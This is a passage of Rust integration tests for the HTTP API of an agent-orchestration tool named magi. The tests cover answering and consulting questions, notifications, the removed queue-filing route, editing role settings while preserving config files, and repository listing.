12644        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12645        assert_eq!(list[0]["can_consult_chat"], true);
12646        fx.questions()
12647            .update(&id, |q| {
12648                q.node = crate::bump::NOTICE_NODE.into();
12649                Ok(())
12650            })
12651            .unwrap();
12652        let list = fx.get("/api/questions").await.json();
12653        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12654        assert_eq!(list[0]["can_consult_chat"], false);
12655    }
12656
12657    #[tokio::test]
12658    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12659        let fx = Fixture::start().await;
12660        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12661        fx.questions()
12662            .update(&id, |q| {
12663                q.node = crate::land::APPROVAL_NODE.into();
12664                q.choices = vec!["merge".into(), "hold".into()];
12665                Ok(())
12666            })
12667            .unwrap();
12668        let cfg = Config {
12669            agents: vec![crate::config::AgentSpec {
12670                id: "mock".to_owned(),
12671                kind: crate::config::AgentKind::Command,
12672                model: None,
12673                command: vec!["true".to_owned()],
12674                extra_args: Vec::new(),
12675                env: Default::default(),
12676                prompt_delivery: None,
12677                max_turn_secs: None,
12678            }],
12679            ..Config::default()
12680        };
12681        // Not a git working tree, so its `magi.toml` is read from disk.
12682        let repo = fx.home.path().join("chat-repo");
12683        std::fs::create_dir_all(&repo).unwrap();
12684        let toml = repo.join("magi.toml");
12685        std::fs::write(&toml, "this is = = not toml").unwrap();
12686        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12687        let mut task = Task::new(
12688            "t".to_owned(),
12689            "Do it".to_owned(),
12690            PathBuf::from("/repo/magi"),
12691            Source::Agent {
12692                run: talk.id.clone(),
12693                node: crate::queue::CHAT_NODE.to_owned(),
12694            },
12695        );
12696        task.start("20260902-000000-beef".to_owned());
12697        fx.queue().put(&mut task).unwrap();
12698
12699        let path = format!("/api/questions/{id}/consult");
12700        let res = fx.post(&path, None).await;
12701        assert!(res.status >= 400, "{}", res.body);
12702        assert!(fx.questions().get(&id).unwrap().consult.is_none());
12703        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12704
12705        std::fs::write(&toml, "").unwrap();
12706        let res = fx.post(&path, None).await;
12707        assert_eq!(res.status, 202, "{}", res.body);
12708        assert!(fx.questions().get(&id).unwrap().consult.is_some());
12709        let q = fx.questions().get(&id).unwrap();
12710        assert!(q.status.open());
12711        assert!(q.answer.is_none());
12712        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12713        assert_eq!(res.json()["can_consult_chat"], true);
12714        let list = fx.get("/api/questions").await.json();
12715        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12716        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12717
12718        let res = fx
12719            .post(
12720                &format!("/api/questions/{id}/answer"),
12721                Some(r#"{"choice":"hold"}"#),
12722            )
12723            .await;
12724        assert_eq!(res.status, 200, "{}", res.body);
12725        assert_eq!(res.json()["answer"]["choice"], "hold");
12726        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12727        assert_eq!(res.json()["can_consult_chat"], false);
12728        assert_eq!(fx.post(&path, None).await.status, 409);
12729
12730        let mut talk = fx.talks().get(&talk.id).unwrap();
12731        crate::talk::close(&mut talk, &fx.talks()).unwrap();
12732        let list = fx.get("/api/questions").await.json();
12733        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12734        assert_eq!(list[0]["origin_chat_closed"], true);
12735        assert_eq!(list[0]["can_consult_chat"], false);
12736
12737        fx.talks().remove(&talk.id).unwrap();
12738        let list = fx.get("/api/questions").await.json();
12739        assert_eq!(list[0]["origin_chat"], Value::Null);
12740        assert_eq!(list[0]["origin_chat_closed"], false);
12741        assert_eq!(list[0]["can_consult_chat"], false);
12742    }
12743
12744    #[tokio::test]
12745    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12746        let fx = Fixture::start().await;
12747        let store = fx.questions();
12748        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12749        store.beat(&id, ask::WaiterKind::Asker);
12750        assert_eq!(
12751            fx.get("/api/health").await.json()["questions_needs_owner"],
12752            1
12753        );
12754
12755        // The owner asks back instead of deciding: the ask bar, the nav badge
12756        // and the title must stop naming this question, because there is
12757        // nothing to decide until the agent answers - `status` alone cannot
12758        // say that, which is the whole reason `questions_needs_owner` exists
12759        // alongside `questions_open`.
12760        let res = fx
12761            .post(
12762                &format!("/api/questions/{id}/say"),
12763                Some(r#"{"body":"why not Postgres?"}"#),
12764            )
12765            .await;
12766        assert_eq!(res.status, 200, "{}", res.body);
12767        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12768        assert_eq!(
12769            fx.get("/api/health").await.json()["questions_needs_owner"],
12770            0,
12771            "waiting on the agent is not waiting on the owner"
12772        );
12773
12774        // `magi ask --thread` replying is what brings the owner count back -
12775        // the same event that would resume the CLI call blocked in `magi
12776        // ask`.
12777        let mut q = store.get(&id).expect("get");
12778        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12779            .expect("reply");
12780        store.put(&mut q).expect("put");
12781        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12782        assert_eq!(
12783            fx.get("/api/health").await.json()["questions_needs_owner"],
12784            1,
12785            "the agent's reply is what should light the banner back up"
12786        );
12787    }
12788
12789    #[tokio::test]
12790    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12791        let fx = Fixture::start().await;
12792        let store = fx.questions();
12793
12794        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12795        let res = fx
12796            .post(
12797                &format!("/api/questions/{empty_id}/say"),
12798                Some(r#"{"body":"   "}"#),
12799            )
12800            .await;
12801        assert_eq!(res.status, 400, "{}", res.body);
12802
12803        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12804        let mut answered = store.get(&answered_id).expect("get");
12805        answered
12806            .answer(Answer::Choice("SQLite".to_owned()))
12807            .expect("answer");
12808        store.put(&mut answered).expect("put");
12809        let res = fx
12810            .post(
12811                &format!("/api/questions/{answered_id}/say"),
12812                Some(r#"{"body":"still there?"}"#),
12813            )
12814            .await;
12815        assert_eq!(res.status, 409, "{}", res.body);
12816
12817        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12818        let mut abandoned = store.get(&abandoned_id).expect("get");
12819        abandoned.abandon("timed out");
12820        store.put(&mut abandoned).expect("put");
12821        let res = fx
12822            .post(
12823                &format!("/api/questions/{abandoned_id}/say"),
12824                Some(r#"{"body":"still there?"}"#),
12825            )
12826            .await;
12827        assert_eq!(res.status, 409, "{}", res.body);
12828    }
12829
12830    #[tokio::test]
12831    async fn an_answer_the_question_does_not_offer_is_refused() {
12832        let fx = Fixture::start().await;
12833        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12834        let path = format!("/api/questions/{id}/answer");
12835
12836        for body in [
12837            r#"{"choice":"Postgres"}"#,
12838            r#"{"text":"whatever you think"}"#,
12839            r#"{"choice":"Redis","text":"both"}"#,
12840            r#"{}"#,
12841        ] {
12842            let res = fx.post(&path, Some(body)).await;
12843            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12844            assert!(res.json()["error"].is_string(), "{}", res.body);
12845        }
12846        // Nothing above may have answered it.
12847        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12848    }
12849
12850    #[tokio::test]
12851    async fn a_free_text_question_takes_text_and_not_a_choice() {
12852        let fx = Fixture::start().await;
12853        let id = ask(&fx, "What should the flag be called?", &[]);
12854        fx.questions().beat(&id, ask::WaiterKind::Asker);
12855        let path = format!("/api/questions/{id}/answer");
12856
12857        assert_eq!(
12858            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12859            400
12860        );
12861        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12862        assert_eq!(res.status, 200, "{}", res.body);
12863        assert_eq!(res.json()["answer"]["text"], "--json");
12864    }
12865
12866    #[tokio::test]
12867    async fn an_unknown_question_is_a_json_404() {
12868        let fx = Fixture::start().await;
12869        let res = fx
12870            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12871            .await;
12872        assert_eq!(res.status, 404, "{}", res.body);
12873        assert!(res.json()["error"].is_string());
12874    }
12875
12876    #[tokio::test]
12877    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12878        let fx = Fixture::start().await;
12879        let questions = Questions::at(fx.home.path().join("questions"));
12880        let store = Notices::at(fx.home.path().join("notifications"));
12881        let mut q = ask::Question::new(
12882            "t1".into(),
12883            "conduct".into(),
12884            "conductor".into(),
12885            "Continue?".into(),
12886            String::new(),
12887            Vec::new(),
12888        );
12889        questions.put(&mut q).unwrap();
12890        let mut n = Notice::warn("task:t1", "Task t1 is held.");
12891        n.covered_by = Some(q.id.clone());
12892        let n = store.raise(n).unwrap();
12893        let listed = fx.get("/api/notifications").await.json();
12894        assert_eq!(listed["items"][0]["answerable_question"], q.id);
12895        questions
12896            .update(&q.id, |q| {
12897                q.abandon("run gone");
12898                Ok(())
12899            })
12900            .unwrap();
12901        let listed = fx.get("/api/notifications").await.json();
12902        assert!(listed["items"][0]["answerable_question"].is_null());
12903        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12904        assert!(
12905            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12906                .unwrap()
12907                .contains("answerable_question")
12908        );
12909    }
12910
12911    #[tokio::test]
12912    async fn notifications_list_read_dismiss_and_health_agree() {
12913        let fx = Fixture::start().await;
12914        let store = Notices::at(fx.home.path().join("notifications"));
12915        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12916        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12917
12918        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12919        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12920
12921        store
12922            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12923            .unwrap();
12924        let health = fx.get("/api/health").await.json();
12925        assert_eq!(health["notifications_unread"], 2);
12926        assert_ne!(
12927            health["notifications_rev"], rev0,
12928            "the badge must move live"
12929        );
12930
12931        let listed = fx.get("/api/notifications").await.json();
12932        assert_eq!(listed["unread"], 2);
12933        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12934        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12935
12936        let read = fx
12937            .post(&format!("/api/notifications/{}/read", a.id), None)
12938            .await;
12939        assert_eq!(read.status, 200, "{}", read.body);
12940        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12941
12942        let gone = fx
12943            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12944            .await;
12945        assert_eq!(gone.status, 200, "{}", gone.body);
12946        let listed = fx.get("/api/notifications").await.json();
12947        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12948        assert_eq!(listed["unread"], 0);
12949
12950        store.raise(Notice::info("x", "again")).unwrap();
12951        let all = fx.post("/api/notifications/read-all", None).await;
12952        assert_eq!(all.status, 200, "{}", all.body);
12953        assert_eq!(all.json()["marked"], 1);
12954        assert_eq!(
12955            fx.get("/api/health").await.json()["notifications_unread"],
12956            0
12957        );
12958
12959        let missing = fx.post("/api/notifications/nope/read", None).await;
12960        assert_eq!(missing.status, 404, "{}", missing.body);
12961        assert!(missing.json()["error"].is_string());
12962    }
12963
12964    /// New work reaches the queue through `magi task add`, a standing talk's
12965    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
12966    /// so the compose form and that route are gone. The tests that covered
12967    /// that route's validation went with it, and nothing was left asserting
12968    /// it stays gone — so a re-added handler would silently let the phone
12969    /// file briefs no one validated.
12970    #[tokio::test]
12971    async fn a_task_cannot_be_filed_over_the_phone_directly() {
12972        let f = Fixture::start().await;
12973
12974        let res = f
12975            .post(
12976                "/api/queue",
12977                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12978            )
12979            .await;
12980
12981        assert_eq!(
12982            res.status, 405,
12983            "POST /api/queue must not be a route: {}",
12984            res.body
12985        );
12986        assert!(
12987            f.queue().list().is_empty(),
12988            "a task filed by a route that does not exist must not reach the disk"
12989        );
12990        // The path itself is still served — the Queue view reads it — and the
12991        // per-task controls are untouched by the entry being removed.
12992        assert_eq!(f.get("/api/queue").await.status, 200);
12993    }
12994
12995    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
12996    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12997        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12998            .expect("checkout dir");
12999    }
13000
13001    /// Two command agents, so a config needs no real CLI.
13002    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13003
13004    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13005        let tmp = TempDir::new().expect("tempdir");
13006        let repo = tmp.path().join("repo");
13007        std::fs::create_dir_all(&repo).expect("repo dir");
13008        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13009        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13010        if let Some(text) = machine_toml {
13011            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13012            std::fs::write(&machine, text).expect("machine toml");
13013        }
13014        (tmp, repo, machine)
13015    }
13016
13017    async fn settings_checkout(path: &FsPath, text: &str) {
13018        std::fs::create_dir_all(path).unwrap();
13019        std::fs::write(path.join("magi.toml"), text).unwrap();
13020        for args in [
13021            vec!["init", "-b", "main"],
13022            vec!["add", "magi.toml"],
13023            vec![
13024                "-c",
13025                "user.name=Test",
13026                "-c",
13027                "user.email=test@example.invalid",
13028                "commit",
13029                "-m",
13030                "fixture",
13031            ],
13032            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13033            vec![
13034                "symbolic-ref",
13035                "refs/remotes/origin/HEAD",
13036                "refs/remotes/origin/main",
13037            ],
13038        ] {
13039            crate::git::git(path, &args).await.unwrap();
13040        }
13041    }
13042
13043    #[tokio::test]
13044    async fn settings_context_handlers_validate_and_save_without_a_socket() {
13045        let (tmp, repo, machine) =
13046            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13047        let root = tmp.path().join("roots");
13048        let selected = root.join("host/owner/selected");
13049        settings_checkout(
13050            &selected,
13051            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13052        )
13053        .await;
13054        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13055        let before = std::fs::read(&machine).unwrap();
13056        let ui = Arc::new(
13057            Ui::new(
13058                Queue::at(tmp.path().join("queue")),
13059                Questions::at(tmp.path().join("questions")),
13060                Talks::at(tmp.path().join("talks")),
13061                tmp.path().join("runs"),
13062                tmp.path().to_path_buf(),
13063                repo.clone(),
13064            )
13065            .with_machine_config(Some(machine.clone())),
13066        );
13067        let query = || {
13068            Query(SettingsQuery {
13069                repo: Some(selected.clone()),
13070            })
13071        };
13072        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13073        assert!(v.error.is_none(), "{:?}", v.error);
13074        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13075        assert_eq!(conductor.source, "repo");
13076        assert_eq!(
13077            conductor.machine_value,
13078            Some(toml::Value::String("a".into()))
13079        );
13080        assert!(!conductor.editable);
13081        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13082        assert_eq!(
13083            judges.count.as_ref().unwrap().machine_value,
13084            Some(toml::Value::Integer(1))
13085        );
13086        assert!(
13087            !v.roles
13088                .iter()
13089                .find(|r| r.key == "reviewers")
13090                .unwrap()
13091                .editable
13092        );
13093        let unknown = || {
13094            Query(SettingsQuery {
13095                repo: Some(tmp.path().to_path_buf()),
13096            })
13097        };
13098        assert_eq!(
13099            settings_get(State(ui.clone()), unknown())
13100                .await
13101                .unwrap_err()
13102                .status,
13103            StatusCode::UNPROCESSABLE_ENTITY
13104        );
13105        let body = || {
13106            Ok(Json(RolesBody {
13107                revision: v.revision.clone(),
13108                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13109                counts: Default::default(),
13110            }))
13111        };
13112        assert_eq!(
13113            settings_put_roles(State(ui.clone()), unknown(), body())
13114                .await
13115                .unwrap_err()
13116                .status,
13117            StatusCode::UNPROCESSABLE_ENTITY
13118        );
13119        assert_eq!(std::fs::read(&machine).unwrap(), before);
13120        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13121            .await
13122            .unwrap();
13123        assert_eq!(
13124            saved.repo,
13125            selected.canonicalize().unwrap().display().to_string()
13126        );
13127        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13128        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13129        // A cache miss refreshes the stable candidate list exactly for validation.
13130        let fresh = root.join("host/owner/fresh");
13131        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13132        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13133            .await
13134            .unwrap();
13135        assert_eq!(fresh_view.repositories.len(), 3);
13136    }
13137
13138    #[tokio::test]
13139    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13140        let (tmp, repo, machine) = settings_dirs(
13141            "[roles]\nreviewers = [\"a\"]\n",
13142            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13143        );
13144        let root = tmp.path().join("roots");
13145        let selected = root.join("host/owner/selected");
13146        settings_checkout(
13147            &selected,
13148            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13149        )
13150        .await;
13151        let broken = root.join("host/owner/broken");
13152        settings_checkout(&broken, "[roles\nbroken").await;
13153        let machine_text = format!(
13154            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13155            toml::Value::String(root.display().to_string())
13156        );
13157        std::fs::write(&machine, &machine_text).unwrap();
13158        let originals: Vec<_> = [&repo, &selected, &broken]
13159            .iter()
13160            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13161            .collect();
13162        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13163        let default = f.get("/api/settings").await.json();
13164        assert_eq!(
13165            default["repo"],
13166            repo.canonicalize().unwrap().display().to_string()
13167        );
13168        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13169        let query = format!("?repo={}", selected.display());
13170        let res = f.get(&format!("/api/settings{query}")).await;
13171        assert_eq!(res.status, 200, "{}", res.body);
13172        let v = res.json();
13173        assert!(v["error"].is_null(), "{v}");
13174        assert_eq!(v["repositories"], default["repositories"]);
13175        let role = |key: &str| {
13176            v["roles"]
13177                .as_array()
13178                .unwrap()
13179                .iter()
13180                .find(|r| r["key"] == key)
13181                .unwrap()
13182        };
13183        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13184        assert_eq!(role("advisors")["source"], "repo");
13185        assert_eq!(role("advisors")["editable"], false);
13186        assert!(role("advisors")["machine_value"].is_null());
13187        assert_eq!(role("judges")["count"]["value"], 2);
13188        assert_eq!(role("judges")["count"]["machine_value"], 1);
13189        assert_eq!(role("judges")["count"]["source"], "repo");
13190        let source = role("judges")["count"]["source_path"].as_str().unwrap();
13191        assert!(
13192            source.contains("origin/main") && !source.contains("magi/config/"),
13193            "{source}"
13194        );
13195        assert_eq!(
13196            role("reviewers")["editable"],
13197            false,
13198            "default context outside roots must protect its declarations"
13199        );
13200        let body =
13201            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13202        let unknown = format!("?repo={}", tmp.path().display());
13203        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13204        assert_eq!(
13205            f.put(&format!("/api/settings/roles{unknown}"), &body)
13206                .await
13207                .status,
13208            422
13209        );
13210        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13211        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13212            .to_string();
13213        assert_eq!(
13214            f.put(&format!("/api/settings/roles{query}"), &refuse)
13215                .await
13216                .status,
13217            422
13218        );
13219        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13220        assert_eq!(saved.status, 200, "{}", saved.body);
13221        assert_eq!(saved.json()["repo"], v["repo"]);
13222        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13223        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13224        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13225            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13226        }
13227        let error = f
13228            .get(&format!("/api/settings?repo={}", broken.display()))
13229            .await;
13230        assert_eq!(error.status, 200);
13231        assert!(error.json()["error"]["message"].is_string());
13232        assert_eq!(error.json()["repositories"], default["repositories"]);
13233    }
13234
13235    #[tokio::test]
13236    async fn settings_get_reports_sources_and_the_advisors_fallback() {
13237        let (_tmp, repo, machine) =
13238            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13239        let f = Fixture::with_repo_and_machine(repo, machine).await;
13240        let res = f.get("/api/settings").await;
13241        assert_eq!(res.status, 200, "{}", res.body);
13242        let v = res.json();
13243        assert!(v["error"].is_null(), "{v}");
13244        let role = |k: &str| {
13245            v["roles"]
13246                .as_array()
13247                .and_then(|r| r.iter().find(|x| x["key"] == k))
13248                .cloned()
13249                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13250        };
13251        assert_eq!(role("judges")["source"], "machine");
13252        assert_eq!(role("judges")["editable"], true);
13253        assert_eq!(role("implementers")["source"], "default");
13254        let adv = role("advisors");
13255        assert_eq!(adv["fallback"], "judges");
13256        assert!(
13257            adv["seats"]
13258                .as_array()
13259                .is_some_and(|s| s.iter().all(|x| x == "b")),
13260            "{adv}"
13261        );
13262        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13263        assert_eq!(v["agents"][0]["source"], "repo");
13264    }
13265
13266    #[tokio::test]
13267    async fn settings_get_reports_a_config_that_does_not_parse() {
13268        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13269        let f = Fixture::with_repo_and_machine(repo, machine).await;
13270        let res = f.get("/api/settings").await;
13271        assert_eq!(res.status, 200, "{}", res.body);
13272        let v = res.json();
13273        assert!(v["error"]["message"].is_string(), "{v}");
13274        assert!(
13275            v["error"]["path"]
13276                .as_str()
13277                .is_some_and(|p| p.ends_with("magi.toml")),
13278            "{v}"
13279        );
13280        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13281    }
13282
13283    #[tokio::test]
13284    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13285        let (_tmp, repo, machine) = settings_dirs(
13286            SETTINGS_AGENTS,
13287            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
13288        );
13289        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13290        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13291        let rev = f.get("/api/settings").await.json()["revision"]
13292            .as_str()
13293            .expect("revision")
13294            .to_owned();
13295        let body = serde_json::json!({
13296            "revision": rev,
13297            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13298        })
13299        .to_string();
13300        let res = f.put("/api/settings/roles", &body).await;
13301        assert_eq!(res.status, 200, "{}", res.body);
13302        let text = std::fs::read_to_string(&machine).expect("machine");
13303        assert_eq!(
13304            text,
13305            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13306        );
13307        assert_eq!(
13308            std::fs::read(repo.join("magi.toml")).expect("read"),
13309            repo_before
13310        );
13311        let again = f.get("/api/settings").await.json();
13312        let judges = again["roles"]
13313            .as_array()
13314            .expect("roles")
13315            .iter()
13316            .find(|r| r["key"] == "judges")
13317            .expect("judges")
13318            .clone();
13319        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13320        // The old revision is now stale.
13321        let stale = f.put("/api/settings/roles", &body).await;
13322        assert_eq!(stale.status, 409, "{}", stale.body);
13323    }
13324
13325    #[tokio::test]
13326    async fn settings_counts_are_reported_and_saved() {
13327        let (_tmp, repo, machine) = settings_dirs(
13328            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13329            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13330        );
13331        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13332        let v = f.get("/api/settings").await.json();
13333        let count = |v: &serde_json::Value, k: &str| {
13334            v["roles"]
13335                .as_array()
13336                .and_then(|r| r.iter().find(|x| x["key"] == k))
13337                .map(|x| x["count"].clone())
13338                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13339        };
13340        let imp = count(&v, "implementers");
13341        assert_eq!(imp["value"], 2);
13342        assert_eq!(imp["source"], "machine");
13343        assert_eq!(imp["file_key"], "candidates");
13344        assert_eq!(imp["roster_len"], 2);
13345        assert_eq!(imp["backups"], 0);
13346        assert_eq!(count(&v, "judges")["source"], "default");
13347        assert_eq!(count(&v, "advisors")["min"], 0);
13348        assert_eq!(count(&v, "reviewers")["editable"], false);
13349        assert!(
13350            count(&v, "reviewers")["locked_reason"]
13351                .as_str()
13352                .is_some_and(|m| m.contains("graph.reviewers"))
13353        );
13354        assert!(count(&v, "fixer").is_null());
13355        let rev = v["revision"].as_str().expect("revision").to_owned();
13356        let body = serde_json::json!({
13357            "revision": rev,
13358            "roles": { "judges": ["b"] },
13359            "counts": { "implementers": 1, "advisors": 0 }
13360        })
13361        .to_string();
13362        let res = f.put("/api/settings/roles", &body).await;
13363        assert_eq!(res.status, 200, "{}", res.body);
13364        let text = std::fs::read_to_string(&machine).expect("machine");
13365        assert_eq!(
13366            text,
13367            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13368        );
13369        let after = f.get("/api/settings").await.json();
13370        assert_eq!(count(&after, "implementers")["value"], 1);
13371        assert_eq!(count(&after, "implementers")["backups"], 1);
13372        assert_eq!(count(&after, "advisors")["value"], 0);
13373        let before = std::fs::read_to_string(&machine).expect("machine");
13374        let rev = after["revision"].as_str().expect("revision").to_owned();
13375        for counts in [
13376            serde_json::json!({ "judges": 0 }),
13377            serde_json::json!({ "judges": "x" }),
13378            serde_json::json!({ "judges": 2.5 }),
13379            serde_json::json!({ "judges": -1 }),
13380            serde_json::json!({ "reviewers": 3 }),
13381            serde_json::json!({ "bogus": 3 }),
13382        ] {
13383            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13384            let res = f.put("/api/settings/roles", &body).await;
13385            assert_eq!(res.status, 422, "{counts}: {}", res.body);
13386            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13387        }
13388    }
13389
13390    #[tokio::test]
13391    async fn settings_put_refuses_without_touching_the_file() {
13392        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13393        let (_tmp, repo, machine) = settings_dirs(
13394            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13395            Some(machine_text),
13396        );
13397        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13398        let rev = f.get("/api/settings").await.json()["revision"]
13399            .as_str()
13400            .expect("revision")
13401            .to_owned();
13402        for roles in [
13403            serde_json::json!({ "judges": ["nope"] }),
13404            serde_json::json!({ "reviewers": ["b"] }),
13405            serde_json::json!({ "bogus": ["a"] }),
13406        ] {
13407            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13408            let res = f.put("/api/settings/roles", &body).await;
13409            assert_eq!(res.status, 422, "{roles}: {}", res.body);
13410            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13411            assert_eq!(
13412                std::fs::read_to_string(&machine).expect("machine"),
13413                machine_text
13414            );
13415        }
13416    }
13417
13418    #[tokio::test]
13419    async fn repos_list_returns_name_and_path_for_every_configured_root() {
13420        let tmp = TempDir::new().expect("tempdir");
13421        let repo = tmp.path().join("repo");
13422        std::fs::create_dir_all(&repo).expect("repo dir");
13423        let root = tmp.path().join("root");
13424        make_checkout(&root, "github.com", "yukimemi", "magi");
13425        std::fs::write(
13426            repo.join("magi.toml"),
13427            format!(
13428                "[repos]\nroots = [{:?}]\n",
13429                root.to_string_lossy().into_owned()
13430            ),
13431        )
13432        .expect("write magi.toml");
13433
13434        let f = Fixture::with_repo(repo).await;
13435        let res = f.get("/api/repos").await;
13436        assert_eq!(res.status, 200, "{}", res.body);
13437        let list = res.json();
13438        let repos = list.as_array().expect("an array");
13439        assert_eq!(repos.len(), 1);
13440        assert_eq!(repos[0]["name"], "yukimemi/magi");
13441        assert!(
13442            repos[0]["path"]
13443                .as_str()
13444                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13445            "{list}"
13446        );
13447    }
13448
13449    #[tokio::test]
13450    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13451        let tmp = TempDir::new().expect("tempdir");
13452        let repo = tmp.path().join("repo");
13453        std::fs::create_dir_all(&repo).expect("repo dir");
13454        let root = tmp.path().join("root");
13455        make_checkout(&root, "github.com", "yukimemi", "magi");
13456        std::fs::write(
13457            repo.join("magi.toml"),
13458            format!(
13459                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13460                root.to_string_lossy().into_owned()
13461            ),
13462        )
13463        .expect("write magi.toml");
13464
